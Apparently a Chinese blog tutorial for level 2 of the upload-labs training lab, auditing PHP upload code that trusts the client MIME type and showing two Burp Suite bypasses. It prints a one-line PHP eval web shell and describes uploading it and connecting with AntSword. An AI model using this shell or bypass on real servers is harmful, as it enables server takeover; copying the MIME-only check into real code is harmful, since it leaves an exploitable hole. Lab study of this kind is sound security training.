首页 > 其他分享 >upload-labs第二关教程

upload-labs第二关教程

时间:2024-06-04 23:31:22浏览次数:26  
标签:教程 type upload labs 修改 file 上传 png

upload-labs第二关教程

第一关的教程可以去主页里面去找。


文章目录


1.源代码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

if (($_FILES['upload_file']['type'] == 'image/jpeg')还有后面的对MIME类型进行了检查,只允许image/jpeg、image/png、image/gif的文件类型进行通过。
所以这里是不是可以通过修改MIME类型进行绕过?

2.MIME类型是什么?

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。

MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。

浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理URL,因此 Web服务器在响应头中添加正确的 MIME 类型非常重要。如果配置不正确,浏览器可能会无法解析文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。

语法格式:

type/subtype

常见的MIME类型如下:
在这里插入图片描述
这块可以自行去菜鸟教程学习。

3.绕过方法分析

我的想法是如果只对文件类型进行限制的话,就可以从两个方面来想:一方面是上传PHP文件,使用burp suite进行抓包修改content-type的文件类型为合法的文件类型,其他方面是我上传一个正常的上传上去的文件,然后使用Burp suite进行抓包修改上传文件的后缀名,不就绕过去了吗?(第二句话的意思:例如这里的源代码,我上传一个png文件就能正常上传,然后我将其使用burp suite进行抓包修改文件的后缀名为.php就能进行绕过)

1)修改content-type

a.上传一个eval.php文件

eval.php代码如下

<?php @eval($_POST['cmd']); ?>
b.然后使用Burp suite进行抓包修改content-type

修改前:
在这里插入图片描述
此时的content-type为:application/octet-stream
修改之后:
在这里插入图片描述
修改为了iamge/png,在这里你不一定修改为iamge/png,只需要满足它的白名单策略就行了。

c.放包:

在这里插入图片描述
上传成功。不知道路径的话可以使用开发者工具找到上传的路径。

d.打开开发者工具

在这里插入图片描述
出现路径为:http://192.168.1.10/upload-labs-master/upload/eval.php

e.使用中国蚁剑进行连接

在这里插入图片描述连接成功。


2)修改文件后缀名绕过

a. 上传一个eval.png图片

这里图片最好就是一句话木马,或者图片马也行。
在这里插入图片描述
正常的话是能上传上去的,且是png上传上去的,服务器没办法执行图片中一句话木马。

b.使用Burp suite进行修改后缀名

修改前:
在这里插入图片描述
修改之前。file_name=eval.png,还可以发现content-type为iamge/png
修改后:
在这里插入图片描述
file_name=eval.php,使其上传至服务器,让服务器进行解析且执行

c. 放包

在这里插入图片描述
可以发现不仅上传成功,而且还是以Php文件类型上传成功的。

d.使用中国蚁剑进行连接

在这里插入图片描述

连接成功。


如果还有疑问的话,可以私信问我,看到了就会回的。

标签:教程,type,upload,labs,修改,file,上传,png
From: https://blog.csdn.net/m0_73528952/article/details/139455666

相关文章

  • Angular Material 18+ 高级教程 – 大杂烩
    前言本篇记入一些AngularMaterial的小东西。 OverrideMaterialIconButtonSize参考:StackOverflow– Changesizeofmat-icon-button想overrideMaterialstyles有好几招可以用。第一招是overrideCSSvariables,这是最安全有效的方式,但是AngularMaterial不......
  • upload-labs第一关教程
    upload-labs第一关教程1.源代码分析functioncheckFile(){varfile=document.getElementsByName('upload_file')[0].value;if(file==null||file==""){alert("请选择要上传的文件!");returnfalse;}//定义允许上传的文......
  • Kettle调优教程(推荐收藏)
    1、调整JVM大小linux文件路径:data-integration/spoon.sh windows路径: -Xms1024m:设置JVM初始内存为1024m。此值可以设置与-Xmx相同,以避免每次垃圾回收完成后JVM重新分配内存。-Xmx2048m:设置JVM最大可用内存为2048M。-Xmn2g:设置年轻代大小为2G。整个JVM内存大小=年轻代大小......
  • 卡方分布和 Zipf 分布模拟及 Seaborn 可视化教程
    卡方分布简介卡方分布是一种连续概率分布,常用于统计学中进行假设检验。它描述了在独立抽样中,每个样本的平方偏差之和的分布。卡方分布的形状由其自由度(df)参数决定,自由度越大,分布越平缓。参数卡方分布用两个参数来定义:df:自由度,表示卡方分布的形状。自由度必须为正整数。s......
  • Frida-Labs
    0x1获取了100以内的随机数只需要确保输入的数为随机数的2倍+4即可hook该方法,返回值随意,只要自己输入符合对该值的要求即可Java.perform(function(){letMainActivity=Java.use("com.ad2001.frida0x1.MainActivity");MainActivity["get_random"].implementat......
  • Archlinux安装教程
    先放张图:  准备工作1、进入Live环境后关闭reflectorsystemctlstopreflector2、使用iwctl联网3、timedatectl修改时区timedatectlset-timezoneAsia/Shanghai4、date验证时间fdisk-l查看硬盘和分区情况cfdisk<硬盘编号>修改分区如:cfdisk/dev/sda5、......
  • 屏幕录制工具分享6款,附上详细电脑录屏教程(2024全新)
    当你即将参加一个重要的在线会议或一堂关键的直播课,但又担心错过关键点或无法及时做笔记时,屏幕录制无疑是最好的方法之一。屏幕录制是一项非常有价值的技能,它能让你出于各种目的捕捉屏幕上的活动。无论你的目的是创建教程、演示软件功能、捕捉游戏画面,还是仅仅分享你的桌面操作......
  • Python教程-快速入门基础必看课程09-文件处理
    该视频主要讲述了Python中文件的读写操作和pandas库中的subt函数来处理CSV文件。在Python中,文件的读写操作需要使用open函数打开文件,并指定路径和模式。读取文件时,可以使用f.read()方法读取内容,并使用f.close()方法关闭文件。写入文件时,可以使用f.write()方法写入内容,并使用......
  • manjora Linux下使用howdy实现人脸识别登录的简明教程
    前言从windows切换到Linux会有很多的不适应,自然会想找一些类似于windows体验的Linux替代品,比如windows上的windowshello就很好用,可以使用指纹或者摄像头实现人脸识别在很多场景下可以避免输入密码。经过一番搜索发现howdy是目前Linux上最流行的人脸识别认证的软件,于是就第一时......
  • EFDC建模方法及在地表水环境评价、水源地划分、排污口论证技术教程
    原文链接:EFDC建模方法及在地表水环境评价、水源地划分、排污口论证技术教程https://mp.weixin.qq.com/s?__biz=MzUzNTczMDMxMg==&mid=2247605969&idx=3&sn=30087fd54f3f7a799423af2af789735a&chksm=fa821f36cdf59620bb55495293987726bfa59dcf0bdbab1212fd7cda48ed1aee24785d9a9......